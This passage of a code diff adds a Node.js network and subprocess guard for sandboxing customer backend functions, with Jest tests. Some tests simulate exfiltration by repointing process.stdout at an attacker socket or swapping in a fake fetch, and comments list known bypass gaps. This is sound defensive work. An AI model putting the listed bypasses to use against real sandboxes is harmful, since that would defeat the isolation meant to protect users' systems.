+ const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.write('data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + } finally { + server.close(); + } + }); +}); + +describe('process stdio passthrough', () => { + // Spies on the REAL process.stdout/stderr's own destroy(), rather than swapping in a + // substitute object via Object.defineProperty(process, 'stdout', ...): under a full-suite + // Jest run, reassigning process.stdout/stderr's identity proved unreliable (something else in + // the Jest/worker environment reads a different reference than the one just assigned, causing + // spurious failures), where spying on the real singletons — the same idiom this repo's own + // rollupConfig.test.ts already uses for process.stderr — does not have that problem. + // destroy() is signalBlockedSocketOp's one observable side effect once an 'error' listener is + // attached (added here only as that discriminator, removed after), so its absence proves the + // real implementation ran, not the guard's blocked stand-in — this only exercises the guard at + // all when process.stdout/stderr happen to be real net.Sockets (piped), same precondition the + // keep-alive connection reuse test above has for its own real-socket setup. + test('Should let a customer function write to process.stdout/stderr during a blocked scope even when they are real net.Sockets', async () => { + const noop = () => undefined; + process.stdout.on('error', noop); + process.stderr.on('error', noop); + const destroyStdout = jest.spyOn(process.stdout, 'destroy'); + const destroyStderr = jest.spyOn(process.stderr, 'destroy'); + + try { + await runBlocked(async () => { + expect(() => + process.stdout.write('hello from a customer function\n'), + ).not.toThrow(); + expect(() => + process.stderr.write('warning from a customer function\n'), + ).not.toThrow(); + }); + expect(destroyStdout).not.toHaveBeenCalled(); + expect(destroyStderr).not.toHaveBeenCalled(); + + // A real network socket must still be blocked in the same scope — the carve-out is + // scoped to the two stdio singletons, not a blanket exemption for every net.Socket. + await runBlocked(async () => { + const socket = new net.Socket(); + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.write('data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + } finally { + destroyStdout.mockRestore(); + destroyStderr.mockRestore(); + process.stdout.removeListener('error', noop); + process.stderr.removeListener('error', noop); + } + }); + + // Regression test: process.stdout/stderr are configurable, reassignable accessor properties — + // a customer function reassigning process.stdout to an already-connected socket, then writing + // to it, must not be exempted just because it's *currently* aliased by that property. The + // exemption is checked against the identity captured once at module load (trustedStdout), + // not the live getter, so a substituted object is still blocked like any other socket. + test('Should still block a write on a socket the customer function assigns to process.stdout, not just the real one', async () => { + const { server, socket: attackerSocket } = await createRealConnectedSocket(); + + try { + const originalStdout = Object.getOwnPropertyDescriptor(process, 'stdout'); + + try { + await runBlocked(async () => { + Object.defineProperty(process, 'stdout', { + configurable: true, + value: attackerSocket, + }); + const errorPromise = new Promise((resolve) => + attackerSocket.once('error', resolve), + ); + expect(() => process.stdout.write('exfiltrated data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + } finally { + if (originalStdout) { + Object.defineProperty(process, 'stdout', originalStdout); + } + } + } finally { + server.close(); + } + }); +}); + +describe('trustedFetch', () => { + // Regression test: a customer function can reassign globalThis.fetch to an attacker-controlled + // wrapper (e.g. to capture the dev server's authenticated request while inside runAllowed). + // trustedFetch is captured once at module load, before any customer code can run, so it must + // keep resolving to the real implementation regardless of later reassignment — mirroring + // trustedStdout/trustedStderr's identity-capture guarantee above. + test('Should stay immune to globalThis.fetch being reassigned after module load', () => { + const attackerFetch = jest.fn().mockResolvedValue(new Response('stolen')); + const originalFetch = globalThis.fetch; + setGlobalFetch(attackerFetch as unknown as typeof fetch); + + try { + expect(trustedFetch).not.toBe(attackerFetch); + expect(trustedFetch).not.toBe(globalThis.fetch); + } finally { + setGlobalFetch(originalFetch); + } + }); + + test('Should remain unaffected by runBlocked, unlike the guarded globalThis.fetch', async () => { + const before = trustedFetch; + await runBlocked(async () => { + expect(trustedFetch).toBe(before); + }); + expect(trustedFetch).toBe(before); + }); +}); diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts new file mode 100644 index 000000000..4e94ac48e --- /dev/null +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -0,0 +1,696 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global globalThis, Proxy */ + +import child_process from 'child_process'; +import dgram from 'dgram'; +import dns from 'dns'; +import net from 'net'; +import { AsyncLocalStorage } from 'node:async_hooks'; +import { EventEmitter } from 'node:events'; +import { syncBuiltinESMExports } from 'node:module'; +import { Readable, Writable } from 'node:stream'; +import { promisify } from 'node:util'; +import worker_threads from 'worker_threads'; + +import { createEpochGuard } from './execution-epoch'; + +// No OS sandbox here (unlike prod's Deno) — blocks net/subprocess at the JS level, scoped per-call via AsyncLocalStorage, not a global toggle. + +const NETWORK_BLOCKED_MESSAGE = + 'Network access is not allowed directly in backend functions — use $.Actions instead.'; +const SUBPROCESS_BLOCKED_MESSAGE = 'Spawning a subprocess is not allowed in backend functions.'; +const WORKER_THREAD_BLOCKED_MESSAGE = + 'Spawning a worker thread is not allowed in backend functions.'; + +// Keyed on the real `net` module (not a per-module `new AsyncLocalStorage()`) since this file gets +// evaluated more than once — bundled copies and Jest's per-test-file isolation — and every +// evaluation needs the same store. `globalThis`/`process` are sandboxed per test file too; core +// modules aren't. +function getSharedContext(key: string): AsyncLocalStorage { + const symbol = Symbol.for(`@dd/apps-plugin/network-guard ${key}`); + const registry = net as unknown as Record | undefined>; + if (!registry[symbol]) { + // Non-configurable/non-writable so no code holding a `net` reference can swap in a fake + // store and disable every guard at once (isCurrentlyBlocked() is their shared gate). + Object.defineProperty(registry, symbol, { + value: new AsyncLocalStorage(), + writable: false, + configurable: false, + enumerable: false, + }); + } + return registry[symbol] as AsyncLocalStorage; +} + +// Scoped to the active `runBlocked` call's async chain, not process-wide, so unrelated concurrent callers aren't blocked too. +const blockedContext = getSharedContext('blockedContext'); + +// Scoped to the active `runAllowed` call's async chain, not process-wide, so a sibling call stays blocked during the exemption. +const allowedContext = getSharedContext('allowedContext'); + +function isCurrentlyBlocked(): boolean { + return blockedContext.getStore() === true && allowedContext.getStore() !== true; +} + +// `Symbol.for`, not `Symbol()`, so every re-evaluation of this file recognizes an already-installed guard instead of minting its own. +const ALREADY_GUARDED = Symbol.for('@dd/apps-plugin/network-guard installed'); + +// Jest's globalThis Proxy can't produce a non-configurable property without throwing, and by then +// it's already mutated the real object — so relax configurability under Jest (detected via this +// env var) instead of hitting that failure. Production never sets it. +const RUNNING_UNDER_JEST = process.env.JEST_WORKER_ID !== undefined; + +// Module objects (net/dgram/dns) stay non-configurable even under Jest, or dd-trace's CI +// Visibility instrumentation could swap in its own unguarded function. globalThis is relaxed so +// Jest's environment can still touch it. write/end need their own carve-out: CI pipes +// stdout/stderr into real net.Socket instances, and jest-mock's spyOn/restoreMock needs +// `configurable` to restore them. +function shouldAllowConfigurableUnderJest(target: object, prop: string): boolean { + if (!RUNNING_UNDER_JEST) { + return false; + } + return ( + target === globalThis || + (target === net.Socket.prototype && (prop === 'write' || prop === 'end')) + ); +} + +/** + * Permanent getter/setter — a detached callback can still fire after `runBlocked` resolves and + * must stay blocked. The setter rebuilds the guard on every write since some libraries (e.g. MSW) + * mark the last function object they saw as "already patched," and reusing one frozen object + * collides. Non-configurable except `globalThis` under Jest (see `shouldAllowConfigurableUnderJest`), + * so a dependency can't swap the whole descriptor; plain reassignment still works. Re-installing on + * an already-guarded property is a no-op via `ALREADY_GUARDED`. + */ +export function installGuardedProperty( + target: object, + prop: string, + makeGuard: (getReal: () => T) => T, +): void { + const existingGetter = Object.getOwnPropertyDescriptor(target, prop)?.get as + | { [ALREADY_GUARDED]?: true } + | undefined; + if (existingGetter?.[ALREADY_GUARDED]) { + return; + } + + let real = (target as Record)[prop]; + if (real === undefined) { + // Nothing to guard — this runtime doesn't expose this method/global (e.g. dns.resolveTlsa + // on Node 20). A wrapper here would make feature-detection lie. + return; + } + // Tracks which `real` was active when each guard was built — the "const original = x; x = + // mock; x = original;" idiom hands the guard itself back on restore, and without this map that + // would make the guard call itself forever. + const realAtGuardCreation = new WeakMap(); + + function buildGuard(): T { + // Closes over its own snapshot of `real`, not the shared variable — a wrapper-closure + // restore would otherwise read whatever `real` currently holds and recurse forever. + const capturedReal = real; + const guard = makeGuard(() => capturedReal); + // WeakMap.set() throws on a non-object key; makeGuard can return one (e.g. guardWebSocket + // returns undefined when the real global doesn't exist). + if (guard !== null && (typeof guard === 'object' || typeof guard === 'function')) { + realAtGuardCreation.set(guard as object, real); + } + return guard; + } + + let currentGuard = buildGuard(); + const getter = (): T => currentGuard; + (getter as unknown as { [ALREADY_GUARDED]: true })[ALREADY_GUARDED] = true; + Object.defineProperty(target, prop, { + configurable: shouldAllowConfigurableUnderJest(target, prop), + enumerable: true, + get: getter, + // A plain `function`, not an arrow, so `this` is the real receiver — needed to tell + // `net.Socket.prototype.write = mock` (every socket) apart from `someSocket.write = mock` + // (one socket) when `target` is a shared prototype. + set: function (this: unknown, value: T) { + if ( + this !== target && + this !== null && + (typeof this === 'object' || typeof this === 'function') + ) { + // `target` is a shared prototype — shadow the guard on this instance only, like an + // unguarded assignment would, instead of repointing the delegate every other + // instance's guard calls through. Some Node/Jest internals call this setter with a + // non-object receiver; fall through to the shared-delegate path for those. + Object.defineProperty(this, prop, { + value, + writable: true, + configurable: true, + enumerable: true, + }); + return; + } + real = realAtGuardCreation.has(value as object) + ? (realAtGuardCreation.get(value as object) as T) + : value; + currentGuard = buildGuard(); + }, + }); +} + +// write/end signal failure by erroring/destroying the stream, not throwing — a synchronous throw +// would surface as an uncaught exception in Node internals that call write() without a try/catch +// (e.g. http's request-flush code, the exact path a reused keep-alive socket takes). destroy() is +// only safe when something listens for 'error' — Node's default for an unlistened 'error' is to +// crash the process. A completion callback is always invoked either way. +function isFunction(value: unknown): value is (...args: unknown[]) => void { + return typeof value === 'function'; +} + +// Node's error-first callback is always the last argument. Shared by signalBlockedSocketOp, +// guardCallbackMethod, and guardExecFactory. Returns whether one was found, so a caller can fall +// back to an 'error' event. +function invokeCallbackArg(args: unknown[], err: Error, ...extraArgs: unknown[]): boolean { + const maybeCallback = args[args.length - 1]; + if (isFunction(maybeCallback)) { + process.nextTick(maybeCallback, err, ...extraArgs); + return true; + } + return false; +} + +// Deferred via process.nextTick so a listener attached right after the call still sees it, +// matching a real socket's error-emission timing. Shared by guardBindMethod, +// guardCallbackMethod's EventEmitter fallback, guardChildProcessSpawnMethod, and +// createBlockedChildProcessStub. +function emitAsyncErrorIfListened(target: EventEmitter, err: Error): void { + process.nextTick(() => { + if (target.listenerCount('error') > 0) { + target.emit('error', err); + } + }); +} + +function signalBlockedSocketOp(socket: net.Socket, args: unknown[]): void { + const err = new Error(NETWORK_BLOCKED_MESSAGE); + invokeCallbackArg(args, err); + // Deferred to match a real socket's error timing — checking listenerCount synchronously here + // would miss a listener attached on the next line. + process.nextTick(() => { + if (socket.listenerCount('error') > 0) { + socket.destroy(err); + } + }); +} + +// The dev server's own stdout/stderr are real net.Socket instances whenever the process is piped — +// not a network-exfiltration vector, so exempting them only saves the developer's console.log +// during a blocked scope. Captured once at module load, which local-execution.ts's +// loadCustomerModuleEntry always awaits before evaluating any customer module's top-level code, so +// this can never capture a value a customer module already repointed via +// `Object.defineProperty(process, 'stdout', ...)` — the live `process.stdout`/`stderr` getters are +// reassignable, and a customer function could otherwise repoint them at an attacker-controlled +// socket to exfiltrate past the block. +const trustedStdout: unknown = process.stdout; +const trustedStderr: unknown = process.stderr; +function isProcessStdio(socket: net.Socket): boolean { + return socket === trustedStdout || socket === trustedStderr; +} + +// Same reasoning as trustedStdout/trustedStderr above, captured before installGuardedProperty +// patches `globalThis.fetch` below: the dev server's own authenticated request (packages/core's +// request.ts, used for $.Actions calls and runtime-context hydration) must reach the real network +// stack even if a customer function already reassigned `globalThis.fetch` to an attacker-controlled +// wrapper before triggering that call — a plain reassignment goes through installGuardedProperty's +// setter and rewrites the guard's own delegate, which the authenticated request would otherwise call +// through to while inside runAllowed. Callers that need this must be threaded explicitly (e.g. via +// RequestOpts.fetchImpl) rather than relying on a fresh `globalThis.fetch` lookup at call time. +export const trustedFetch: typeof fetch = globalThis.fetch; + +// Shared by guardSocketWrite/guardSocketEnd, which differ only in the blocked-path return value +// (write() returns a boolean, end() returns `this` for chaining). +function guardSocketOp( + getReal: () => (this: net.Socket, ...args: never[]) => R, + blockedReturn: (socket: net.Socket) => R, +): (this: net.Socket, ...args: never[]) => R { + const wrapper = function (this: net.Socket, ...args: unknown[]): R { + if (!isCurrentlyBlocked() || isProcessStdio(this)) { + return (getReal() as unknown as (...a: unknown[]) => R).apply(this, args); + } + signalBlockedSocketOp(this, args); + return blockedReturn(this); + }; + return wrapper as unknown as (this: net.Socket, ...args: never[]) => R; +} + +function guardSocketWrite boolean>( + getReal: () => F, +): F { + return guardSocketOp(getReal, () => false) as unknown as F; +} + +// Same as guardSocketWrite, but end() returns `this` for chaining. +function guardSocketEnd net.Socket>( + getReal: () => F, +): F { + return guardSocketOp(getReal, (socket) => socket) as unknown as F; +} + +// Shared `this`-forwarding wrapper for any guarded entry point that just calls through when +// unblocked and signals failure when blocked. 'throw' is for APIs that genuinely throw +// synchronously (guardSubprocess's spawnSync/execSync); 'reject' matches every Promise-returning +// target. +function makeGuardWrapper unknown>( + getReal: () => F, + blockedMessage: string, + onBlocked: 'throw' | 'reject', +): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + if (onBlocked === 'reject') { + return Promise.reject(new Error(blockedMessage)); + } + throw new Error(blockedMessage); + }; + return wrapper as unknown as F; +} + +// net.Server.listen/dgram.Socket.bind/connect: their optional callback is a success-only shorthand +// for the 'listening'/'connect' event (no error parameter per @types/node) — real failures only +// ever reach the async 'error' event, so a synchronous throw here would surface as an uncaught +// exception in the idiomatic `server.on('error', cb); server.listen(port)` pattern. Deferred via +// process.nextTick for the same same-tick-safety reason as signalBlockedSocketOp. +function guardBindMethod unknown>( + getReal: () => F, +): F { + const wrapper = function (this: EventEmitter, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + emitAsyncErrorIfListened(this, new Error(NETWORK_BLOCKED_MESSAGE)); + return this; + }; + return wrapper as unknown as F; +} + +// dgram.Socket.send and the callback-style dns.resolve* surfaces report failure via an error-first +// callback (dns.resolve*'s is mandatory, dgram's optional, falling back to an async 'error' event). +// Deferred via process.nextTick for the same reason as guardBindMethod. +function guardCallbackMethod unknown>(getReal: () => F): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + const err = new Error(NETWORK_BLOCKED_MESSAGE); + if (!invokeCallbackArg(args, err) && this instanceof EventEmitter) { + emitAsyncErrorIfListened(this, err); + } + return undefined; + }; + return wrapper as unknown as F; +} + +// dns.promises.*/dns.promises.Resolver.prototype.* always return a Promise, so a `.catch()`-chaining +// caller needs a rejection, not a thrown exception. +function guardNetworkPromiseMethod Promise>( + getReal: () => F, +): F { + return makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'reject'); +} + +// Shared by guardWebSocket/guardEventSource/guardWorker. A Proxy construct trap, not a subclass, +// so a runtime swap via installGuardedProperty's setter is picked up on the next `new`. Forwards +// the caller's real `newTarget` into Reflect.construct so subclassing (`class Foo extends +// WebSocket {}`) still works instead of always producing a base instance. +function guardConstructibleGlobal( + getReal: () => unknown, + blockedMessage: string = NETWORK_BLOCKED_MESSAGE, +): unknown { + const real = getReal(); + if (real === undefined) { + // This repo's supported Node range spans versions where these globals don't exist yet. + return undefined; + } + return new Proxy(real as object, { + construct(_target, args, newTarget) { + if (isCurrentlyBlocked()) { + throw new Error(blockedMessage); + } + const RealCtor = getReal() as new (...a: unknown[]) => object; + return Reflect.construct(RealCtor, args, newTarget); + }, + }); +} + +export function guardWebSocket(getReal: () => unknown): unknown { + return guardConstructibleGlobal(getReal); +} + +// EventSource's transport bypasses the patched net.Socket.connect the same way WebSocket does. +// Not reachable without --experimental-eventsource on this repo's Node versions, but guarding it +// unconditionally means it's already correct once a runtime exposes it. +export function guardEventSource(getReal: () => unknown): unknown { + return guardConstructibleGlobal(getReal); +} + +// A worker gets a fresh V8 realm with its own module registry, so nothing inside it inherits this +// file's monkeypatches — blocking construction is the only enforceable boundary. +export function guardWorker(getReal: () => unknown): unknown { + return guardConstructibleGlobal(getReal, WORKER_THREAD_BLOCKED_MESSAGE); +} + +// execSync/execFileSync genuinely throw synchronously on failure — this guard is for those two +// only. The rest have their own guards below matching each one's real (never-throws) contract. +function guardSubprocess unknown>(getReal: () => F): F { + return makeGuardWrapper(getReal, SUBPROCESS_BLOCKED_MESSAGE, 'throw'); +} + +// spawn()/fork() return a brand-new ChildProcess with no existing `this` to emit 'error' on, so +// the guard fabricates a stub shaped like the real return value instead of `undefined` (which +// would TypeError on `spawn(...).stdout.on(...)`). stdout/stderr/stdin are real inert streams, not +// null, matching a real launch failure. send()/disconnect() are included even for spawn/exec/ +// execFile (which lack IPC by default) — this guard is dev-loop safety, not a hard security +// boundary, and avoiding a crash matters more than exact fidelity. +function createBlockedChildProcessStub(err: Error): EventEmitter & Record { + const stub = new EventEmitter() as EventEmitter & Record; + stub.pid = undefined; + stub.exitCode = null; + stub.signalCode = null; + stub.killed = false; + stub.connected = false; + stub.channel = undefined; + const stdout = new Readable({ read() {} }); + stdout.push(null); + const stderr = new Readable({ read() {} }); + stderr.push(null); + stub.stdout = stdout; + stub.stderr = stderr; + stub.stdin = new Writable({ + write(_chunk, _encoding, callback) { + callback(); + }, + }); + stub.kill = () => false; + stub.ref = () => stub; + stub.unref = () => stub; + stub.disconnect = () => {}; + stub.send = (...sendArgs: unknown[]) => { + const sendErr = new Error('channel closed'); + if (!invokeCallbackArg(sendArgs, sendErr)) { + // No callback given — fall back to the 'error' event a real disconnected channel uses. + emitAsyncErrorIfListened(stub, sendErr); + } + return false; + }; + emitAsyncErrorIfListened(stub, err); + return stub; +} + +function guardSpawnFactory unknown>(getReal: () => F): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + return createBlockedChildProcessStub(new Error(SUBPROCESS_BLOCKED_MESSAGE)); + }; + return wrapper as unknown as F; +} + +// exec/execFile report failure via an error-first callback and always return a ChildProcess +// synchronously. Real Node sets stdout/stderr to empty strings, not undefined, even on a launch +// failure — a caller doing `err.stderr.trim()` would otherwise TypeError. +function guardExecFactory unknown>(getReal: () => F): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + const err = new Error(SUBPROCESS_BLOCKED_MESSAGE); + invokeCallbackArg(args, err, '', ''); + return createBlockedChildProcessStub(err); + }; + return wrapper as unknown as F; +} + +// ChildProcess.prototype.spawn() configures an existing instance, so there's no factory return +// value to fabricate — just this instance's async 'error' event. The real method returns a +// synchronous integer (0 success, negative errno on failure), so the blocked path returns a +// negative placeholder. Kept separate from guardBindMethod since this method's `this` type isn't +// part of @types/node's public surface (see the childProcessPrototype cast below). +function guardChildProcessSpawnMethod unknown>( + getReal: () => F, +): F { + const wrapper = function (this: EventEmitter, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + emitAsyncErrorIfListened(this, new Error(SUBPROCESS_BLOCKED_MESSAGE)); + return -1; + }; + return wrapper as unknown as F; +} + +// spawnSync never throws either — it returns a SpawnSyncReturns-shaped object with `.error` set, +// so the guard mirrors that shape. `output` is null on a real launch failure, not an array — a +// caller doing `result.output[1].toString()` would otherwise TypeError against a naive stub. +function guardSpawnSyncResult unknown>(getReal: () => F): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + return { + pid: 0, + output: null, + stdout: undefined, + stderr: undefined, + status: null, + signal: null, + error: new Error(SUBPROCESS_BLOCKED_MESSAGE), + }; + }; + return wrapper as unknown as F; +} + +/** + * exec/execFile's native `promisify.custom` lives on the specific function object, so a fresh + * wrapper silently drops it, while reusing the original symbol would bypass the guard. Calls the + * already-guarded `wrapper` and attaches `.child` to match Node's real `PromiseWithChild` + * contract. + */ +function guardExecWithPromisifyCustom unknown>( + getReal: () => F, +): F { + const wrapper = guardExecFactory(getReal); + Object.defineProperty(wrapper, promisify.custom, { + configurable: true, + writable: true, + value: (...args: unknown[]) => { + let child: unknown; + const promise = new Promise((resolve, reject) => { + child = (wrapper as unknown as (...a: unknown[]) => unknown)( + ...args, + (error: unknown, stdout: unknown, stderr: unknown) => { + if (error) { + const errorWithOutput = Object.assign(error as object, { + stdout, + stderr, + }); + reject(errorWithOutput); + } else { + resolve({ stdout, stderr }); + } + }, + ); + }); + (promise as unknown as { child: unknown }).child = child; + return promise; + }, + }); + return wrapper; +} + +// net.Socket.connect() genuinely throws synchronously for some argument-validation failures, and +// runs inside the customer function's own async call stack (see runBlocked in local-execution.ts), +// where a synchronous throw is safely caught — unlike the detached-callback guards below, left +// throw-based deliberately. +installGuardedProperty( + net.Socket.prototype, + 'connect', + (getReal) => makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'throw'), +); +// A reused, already-connected keep-alive socket never calls connect() again for a second request — +// write()/end() are the choke point every request still goes through, so guarding only connect() +// would let a module-load-time "warm-up" request bypass the guard when reused later. +installGuardedProperty( + net.Socket.prototype, + 'write', + guardSocketWrite, +); +installGuardedProperty( + net.Socket.prototype, + 'end', + guardSocketEnd, +); +// A dependency calling `Writable.prototype.write.call(aSocket, data)` directly still reaches the +// real implementation, since only Socket's own write/end are shadowed above. Guarding +// `stream.Writable.prototype` itself isn't viable: countless unrelated Writable subclasses each do +// `SomeClass.prototype.write = ownImpl`, and every such assignment walks up and triggers the same +// inherited setter on Writable.prototype, corrupting every other subclass's write() with whichever +// wrote last (breaks Vite's own HTTP client in real bundler tests). Accepted as a residual gap — +// this guard is dev-time safety, not a hard security boundary (see the "No OS sandbox" note above). +installGuardedProperty(globalThis, 'fetch', guardNetworkPromiseMethod); +// dgram (UDP) and the native WebSocket global are separate entry points from fetch/net — neither +// goes through net.Socket, so they need their own guards. +installGuardedProperty( + dgram.Socket.prototype, + 'send', + guardCallbackMethod, +); +installGuardedProperty( + dgram.Socket.prototype, + 'connect', + guardBindMethod, +); +// Inbound listeners are a separate entry point from the outbound send/connect above — a dependency +// can still open a real listening socket via net.createServer().listen(...) or dgram's .bind(...). +installGuardedProperty( + net.Server.prototype, + 'listen', + guardBindMethod, +); +installGuardedProperty( + dgram.Socket.prototype, + 'bind', + guardBindMethod, +); +installGuardedProperty(globalThis, 'WebSocket', guardWebSocket); +installGuardedProperty(globalThis, 'EventSource', guardEventSource); + +// dns.resolve*/dns.promises.resolve*/dns.Resolver/dns.promises.Resolver go through Node's native +// c-ares channel, bypassing the net.Socket/dgram.Socket guards above — each is a distinct function +// object needing its own guard. dns.lookup is deliberately excluded: this threat model is dev-loop +// safety, not DNS-tunneling exfiltration, and guarding it risks breaking hostname validation. +const DNS_RESOLVE_METHODS = [ + 'resolve', + 'resolve4', + 'resolve6', + 'resolveAny', + 'resolveCaa', + 'resolveCname', + 'resolveMx', + 'resolveNaptr', + 'resolveNs', + 'resolvePtr', + 'resolveSoa', + 'resolveSrv', + 'resolveTlsa', + 'resolveTxt', + 'reverse', +] as const; +for (const method of DNS_RESOLVE_METHODS) { + // Each method's real signature differs, so the type argument is pinned to the guard's own + // constraint instead (same approach as the child_process installs below). + installGuardedProperty<(...args: never[]) => unknown>(dns, method, guardCallbackMethod); + installGuardedProperty<(...args: never[]) => unknown>( + dns.Resolver.prototype, + method, + guardCallbackMethod, + ); + // dns.promises.*/dns.promises.Resolver.prototype.* always return a Promise, so these use the + // reject-not-throw guard instead. + installGuardedProperty<(...args: never[]) => Promise>( + dns.promises, + method, + guardNetworkPromiseMethod, + ); + installGuardedProperty<(...args: never[]) => Promise>( + dns.promises.Resolver.prototype, + method, + guardNetworkPromiseMethod, + ); +} + +installGuardedProperty(child_process, 'spawn', guardSpawnFactory); +installGuardedProperty( + child_process, + 'spawnSync', + guardSpawnSyncResult, +); +// `unknown` is the correct escape hatch: exec/execFile's `__promisify__` property doesn't structurally satisfy a plain function type. +installGuardedProperty<(...args: never[]) => unknown>( + child_process, + 'exec', + guardExecWithPromisifyCustom, +); +installGuardedProperty(child_process, 'execSync', guardSubprocess); +installGuardedProperty<(...args: never[]) => unknown>( + child_process, + 'execFile', + guardExecWithPromisifyCustom, +); +installGuardedProperty( + child_process, + 'execFileSync', + guardSubprocess, +); +installGuardedProperty<(...args: never[]) => unknown>(child_process, 'fork', guardSpawnFactory); +// Also guards `ChildProcess.prototype.spawn` directly, since the functions above are thin wrappers a dependency could bypass them through. +const childProcessPrototype = child_process.ChildProcess.prototype as unknown as Record< + string, + unknown +>; +installGuardedProperty<(...args: never[]) => unknown>( + childProcessPrototype, + 'spawn', + guardChildProcessSpawnMethod, +); + +installGuardedProperty(worker_threads, 'Worker', guardWorker); + +// installGuardedProperty only patches each built-in's CJS default export; Node keeps ESM named +// bindings (`import { spawn } from 'node:child_process'`) as separate references to the original +// native values. syncBuiltinESMExports re-syncs them. Not unit-tested — Jest's CJS transform can't +// reproduce the real ESM-binding divergence; verified via a standalone `node --input-type=module` script. +syncBuiltinESMExports(); + +// Guards against the same abandoned-scope-corrupts-a-newer-one race as `local-execution.ts` — see `execution-epoch.ts`. +const blockEpoch = createEpochGuard(); + +export interface BlockedScopeHandle { + // Invalidates this specific `runBlocked` call's scope, but only if it's still the active one — + // a no-op once a newer call has superseded it. Unlike `forceReset()`, safe to call even while a + // different scope is running, since it won't un-exempt that other scope's in-flight + // `runAllowed` call. + abandonIfCurrent(): void; +} + +// Runs `fn` with network/subprocess access blocked; wraps the customer's function body in `local-execution.ts`'s `runScriptLocally`. +// `onScopeStarted`, if given, is invoked synchronously with a handle scoped to *this* call, for a +// caller whose own timeout might fire while `fn` is still pending (see `local-execution.ts`). +export async function runBlocked( + fn: () => Promise, + onScopeStarted?: (handle: BlockedScopeHandle) => void, +): Promise { + const scope = blockEpoch.start(); + onScopeStarted?.({ abandonIfCurrent: () => scope.concludeIfCurrent() }); + try { + return await blockedContext.run(true, fn); + } finally { + scope.concludeIfCurrent(); + } +} + +// Exempts `fn`'s own async chain (not siblings) from an active `runBlocked` scope; no-ops if that scope was already abandoned. +export async function runAllowed(fn: () => Promise): Promise { + if (!blockEpoch.hasActiveScope()) { + return fn(); + } + return allowedContext.run(true, fn); +} + +// Test-only escape hatch for resetting shared module state between tests — unconditional, unlike +// `BlockedScopeHandle.abandonIfCurrent()`, since a test fully controls when scopes start and end. +export function forceReset(): void { + blockEpoch.forceInvalidate(); +}